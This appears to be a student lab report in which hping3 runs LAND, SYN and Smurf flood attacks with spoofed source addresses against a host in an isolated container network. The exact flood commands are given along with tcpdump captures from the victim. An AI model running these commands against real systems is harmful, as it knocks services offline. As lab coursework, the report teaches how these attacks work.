Owen Durkin

Starting with the installation instructions. After hping3 is installed you can run **hping3 -h** to get an output showing the usage and all options implemented in hping3. For this assignment I used the following options:
-S: sets the SYN flag. Only used for LAND and SYN, not used for SMURF.
-p: sets destination port which is 80 for the LAND and SYN attacks and irrelevant for the SMURF attack.
-a: only used in LAND and SMURF as we care about the source address being host a's 10.9.0.5. In the SYN attack the source address is random.
–flood: sends packets as fast as possible. Used in all attacks as they're all flood type attacks.
–icmp: sets ICMP mode

Land Flood Attack
Command being run on host m (attacker): **hping3 -S -p 80 10.9.0.5 -a 10.9.0.5 –flood**

```
root@5fb878ffbfb4:/# hping3 -S -p 80 10.9.0.5 -a 10.9.0.5 --flood
HPING 10.9.0.5 (eth0 10.9.0.5): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 10.9.0.5 hping statistic ---
295865 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
```

As can be observed by the tcpdump from the host a 10.9.0.5, there are packets being sent and the -a option doing what is expected due to its expected nature of spoofing the source address.

```
03:53:30.390536 IP ee0e64decaa0.53033 > ee0e64decaa0.81: Flags [S], seq 652451027, win 512, length 0
03:53:30.390541 IP ee0e64decaa0.53034 > ee0e64decaa0.81: Flags [S], seq 333368456, win 512, length 0
03:53:30.390546 IP ee0e64decaa0.53035 > ee0e64decaa0.81: Flags [S], seq 556362323, win 512, length 0
03:53:30.390550 IP ee0e64decaa0.53036 > ee0e64decaa0.81: Flags [S], seq 1901559850, win 512, length 0
03:53:30.390565 IP ee0e64decaa0.53039 > ee0e64decaa0.81: Flags [S], seq 207165773, win 512, length 0
03:53:30.390583 IP ee0e64decaa0.53043 > ee0e64decaa0.81: Flags [S], seq 650749074, win 512, length 0
03:53:30.390602 IP ee0e64decaa0.53047 > ee0e64decaa0.81: Flags [S], seq 1161758386, win 512, length 0
03:53:30.390618 IP ee0e64decaa0.53050 > ee0e64decaa0.81: Flags [S], seq 1719024429, win 512, length 0
03:53:30.390632 IP ee0e64decaa0.53052 > ee0e64decaa0.81: Flags [S], seq 703952521, win 512, length 0
03:53:30.390652 IP ee0e64decaa0.53055 > ee0e64decaa0.81: Flags [S], seq 761135033, win 512, length 0
03:53:30.390671 IP ee0e64decaa0.53058 > ee0e64decaa0.81: Flags [S], seq 1791553491, win 512, length 0
03:53:30.390687 IP ee0e64decaa0.53061 > ee0e64decaa0.81: Flags [S], seq 1129980531, win 512, length 0
03:53:30.390702 IP ee0e64decaa0.53064 > ee0e64decaa0.81: Flags [S], seq 1058946367, win 512, length 0
03:53:30.390723 IP ee0e64decaa0.53068 > ee0e64decaa0.81: Flags [S], seq 750632253, win 512, length 0
03:53:30.390742 IP ee0e64decaa0.53071 > ee0e64decaa0.81: Flags [S], seq 307619761, win 512, length 0
03:53:30.390756 IP ee0e64decaa0.53073 > ee0e64decaa0.81: Flags [S], seq 896460611, win 512, length 0
03:53:30.390769 IP ee0e64decaa0.53075 > ee0e64decaa0.81: Flags [S], seq 416846301, win 512, length 0
03:53:30.390795 IP ee0e64decaa0.53078 > ee0e64decaa0.81: Flags [S], seq 362619018, win 512, length 0
03:53:30.390800 IP ee0e64decaa0.53079 > ee0e64decaa0.81: Flags [S], seq 1918818899, win 512, length 0
03:53:30.390805 IP ee0e64decaa0.53080 > ee0e64decaa0.81: Flags [S], seq 32605758, win 512, length 0
03:53:30.390819 IP ee0e64decaa0.53083 > ee0e64decaa0.81: Flags [S], seq 417875787, win 512, length 0
03:53:30.390824 IP ee0e64decaa0.53084 > ee0e64decaa0.81: Flags [S], seq 208687355, win 512, length 0
03:53:30.390829 IP ee0e64decaa0.53085 > ee0e64decaa0.81: Flags [S], seq 504802105, win 512, length 0
03:53:30.390838 IP ee0e64decaa0.53087 > ee0e64decaa0.81: Flags [S], seq 1749011107, win 512, length 0
03:53:30.390843 IP ee0e64decaa0.53088 > ee0e64decaa0.81: Flags [S], seq 1767429802, win 512, length 0
03:53:30.390858 IP ee0e64decaa0.53091 > ee0e64decaa0.81: Flags [S], seq 1297153174, win 512, length 0
03:53:30.390863 IP ee0e64decaa0.53092 > ee0e64decaa0.81: Flags [S], seq 587550834, win 512, length 0
^C
397628 packets captured
843936 packets received by filter
446308 packets dropped by kernel
root@ee0e64decaa0:/#
```

Owen Durkin

SYN Flood Attack

Command being run on host m (attacker): **hping3 -S -p 80 10.9.0.5 –flood**

```
root@5fb878ffbfb4:/# hping3 -S -p 80 10.9.0.5 --flood
HPING 10.9.0.5 (eth0 10.9.0.5): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 10.9.0.5 hping statistic ---
300922 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
```

Output at 10.9.0.5 with tcpdump after running the command. This is only a snippet. As can be observed there is an extreme flooding of packets in a second or two of running the command on the attacker's terminal before killing the command.

```
03:37:08.528418 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22692: Flags [R.], seq 0, ack 552673441, win 0, length 0
03:37:08.528429 IP M-10.9.0.105.net-10.9.0.0.22693 > ee0e64decaa0.http: Flags [S], seq 1144113324, win 512, length 0
03:37:08.528432 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22693: Flags [R.], seq 0, ack 1144113325, win 0, length 0
03:37:08.528442 IP M-10.9.0.105.net-10.9.0.0.22694 > ee0e64decaa0.http: Flags [S], seq 1048027565, win 512, length 0
03:37:08.528462 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22694: Flags [R.], seq 0, ack 1048027566, win 0, length 0
03:37:08.528477 IP M-10.9.0.105.net-10.9.0.0.22695 > ee0e64decaa0.http: Flags [S], seq 2136879693, win 512, length 0
03:37:08.528480 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22695: Flags [R.], seq 0, ack 2136879694, win 0, length 0
03:37:08.528491 IP M-10.9.0.105.net-10.9.0.0.22696 > ee0e64decaa0.http: Flags [S], seq 563836835, win 512, length 0
03:37:08.528494 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22696: Flags [R.], seq 0, ack 563836836, win 0, length 0
03:37:08.528504 IP M-10.9.0.105.net-10.9.0.0.22697 > ee0e64decaa0.http: Flags [S], seq 1612581933, win 512, length 0
03:37:08.528522 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22697: Flags [R.], seq 0, ack 1612581934, win 0, length 0
03:37:08.528535 IP M-10.9.0.105.net-10.9.0.0.22698 > ee0e64decaa0.http: Flags [S], seq 1943512316, win 512, length 0
03:37:08.528554 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22698: Flags [R.], seq 0, ack 1943512317, win 0, length 0
03:37:08.528569 IP M-10.9.0.105.net-10.9.0.0.22699 > ee0e64decaa0.http: Flags [S], seq 13401217, win 512, length 0
03:37:08.528572 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22699: Flags [R.], seq 0, ack 13401218, win 0, length 0
03:37:08.528584 IP M-10.9.0.105.net-10.9.0.0.22700 > ee0e64decaa0.http: Flags [S], seq 580892868, win 512, length 0
03:37:08.528587 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22700: Flags [R.], seq 0, ack 580892869, win 0, length 0
03:37:08.528598 IP M-10.9.0.105.net-10.9.0.0.22701 > ee0e64decaa0.http: Flags [S], seq 948695669, win 512, length 0
03:37:08.528600 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22701: Flags [R.], seq 0, ack 948695670, win 0, length 0
03:37:08.528611 IP M-10.9.0.105.net-10.9.0.0.22702 > ee0e64decaa0.http: Flags [S], seq 1616819839, win 512, length 0
03:37:08.528629 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22702: Flags [R.], seq 0, ack 1616819840, win 0, length 0
03:37:08.528643 IP M-10.9.0.105.net-10.9.0.0.22703 > ee0e64decaa0.http: Flags [S], seq 471490230, win 512, length 0
03:37:08.528647 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22703: Flags [R.], seq 0, ack 471490231, win 0, length 0
03:37:08.528659 IP M-10.9.0.105.net-10.9.0.0.22704 > ee0e64decaa0.http: Flags [S], seq 228275386, win 512, length 0
03:37:08.528663 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22704: Flags [R.], seq 0, ack 228275387, win 0, length 0
03:37:08.528675 IP M-10.9.0.105.net-10.9.0.0.22705 > ee0e64decaa0.http: Flags [S], seq 1610614996, win 512, length 0
03:37:08.528678 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22705: Flags [R.], seq 0, ack 1610614997, win 0, length 0
03:37:08.528688 IP M-10.9.0.105.net-10.9.0.0.22706 > ee0e64decaa0.http: Flags [S], seq 1298303905, win 512, length 0
03:37:08.528691 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22706: Flags [R.], seq 0, ack 1298303906, win 0, length 0
03:37:08.528702 IP M-10.9.0.105.net-10.9.0.0.22707 > ee0e64decaa0.http: Flags [S], seq 1426632395, win 512, length 0
03:37:08.528705 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22707: Flags [R.], seq 0, ack 1426632396, win 0, length 0
03:37:08.528716 IP M-10.9.0.105.net-10.9.0.0.22708 > ee0e64decaa0.http: Flags [S], seq 541012982, win 512, length 0
03:37:08.528718 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22708: Flags [R.], seq 0, ack 541012983, win 0, length 0
03:37:08.528729 IP M-10.9.0.105.net-10.9.0.0.22709 > ee0e64decaa0.http: Flags [S], seq 646694196, win 512, length 0
03:37:08.528731 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22709: Flags [R.], seq 0, ack 646694197, win 0, length 0
03:37:08.528741 IP M-10.9.0.105.net-10.9.0.0.22710 > ee0e64decaa0.http: Flags [S], seq 1938269743, win 512, length 0
03:37:08.528744 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22710: Flags [R.], seq 0, ack 1938269744, win 0, length 0
03:37:08.528754 IP M-10.9.0.105.net-10.9.0.0.22711 > ee0e64decaa0.http: Flags [S], seq 919010304, win 512, length 0
03:37:08.528757 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22711: Flags [R.], seq 0, ack 919010305, win 0, length 0
03:37:08.528768 IP M-10.9.0.105.net-10.9.0.0.22712 > ee0e64decaa0.http: Flags [S], seq 1208841698, win 512, length 0
03:37:08.528787 IP ee0e64decaa0.http > M-10.9.0.105.net-10.9.0.0.22712: Flags [R.], seq 0, ack 1208841699, win 0, length 0
^C
30099 packets captured
42202 packets received by filter
12103 packets dropped by kernel
root@ee0e64decaa0:/#
```

Owen Durkin

Smurf Flood Attack

Command being run on host m (attacker): **hping3 –icmp –flood 10.9.0.5 -a 10.9.0.105**

```
root@5fb878ffbfb4:/# hping3 --icmp --flood 10.9.0.5 -a 10.9.0.105
HPING 10.9.0.5 (eth0 10.9.0.5): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 10.9.0.5 hping statistic ---
479981 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@5fb878ffbfb4:/#
```

Output for the SMURF attack.

```
04:09:00.402180 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 63578, length 8
04:09:00.402188 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 63834, length 8
04:09:00.402190 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 63834, length 8
04:09:00.403189 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 64090, length 8
04:09:00.403263 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 64090, length 8
04:09:00.403494 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 64346, length 8
04:09:00.403516 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 64346, length 8
04:09:00.403530 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 64602, length 8
04:09:00.403532 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 64602, length 8
04:09:00.403903 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 64858, length 8
04:09:00.403926 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 64858, length 8
04:09:00.403998 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 65114, length 8
04:09:00.404003 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 65114, length 8
04:09:00.404015 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 65370, length 8
04:09:00.404017 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 65370, length 8
04:09:00.404025 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 91, length 8
04:09:00.404027 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 91, length 8
04:09:00.404034 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 347, length 8
04:09:00.404036 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 347, length 8
04:09:00.404043 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 603, length 8
04:09:00.404108 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 603, length 8
04:09:00.404137 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 859, length 8
04:09:00.404140 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 859, length 8
04:09:00.404149 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 1115, length 8
04:09:00.404151 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 1115, length 8
04:09:00.404160 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 1371, length 8
04:09:00.404162 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 1371, length 8
04:09:00.404170 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 1627, length 8
04:09:00.404172 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 1627, length 8
04:09:00.404181 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 1883, length 8
04:09:00.404183 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 1883, length 8
04:09:00.404191 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 2139, length 8
04:09:00.404193 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 2139, length 8
04:09:00.404200 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 2395, length 8
04:09:00.404202 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 2395, length 8
04:09:00.404210 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 2651, length 8
04:09:00.404212 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 2651, length 8
04:09:00.404219 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 2907, length 8
04:09:00.404221 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 2907, length 8
04:09:00.404229 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 3163, length 8
04:09:00.404232 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 3163, length 8
04:09:00.410891 IP M-10.9.0.105.net-10.9.0.0 > ee0e64decaa0: ICMP echo request, id 62722, seq 61019, length 8
04:09:00.410962 IP ee0e64decaa0 > M-10.9.0.105.net-10.9.0.0: ICMP echo reply, id 62722, seq 61019, length 8
^C
89725 packets captured
309214 packets received by filter
219489 packets dropped by kernel
root@ee0e64decaa0:/#
```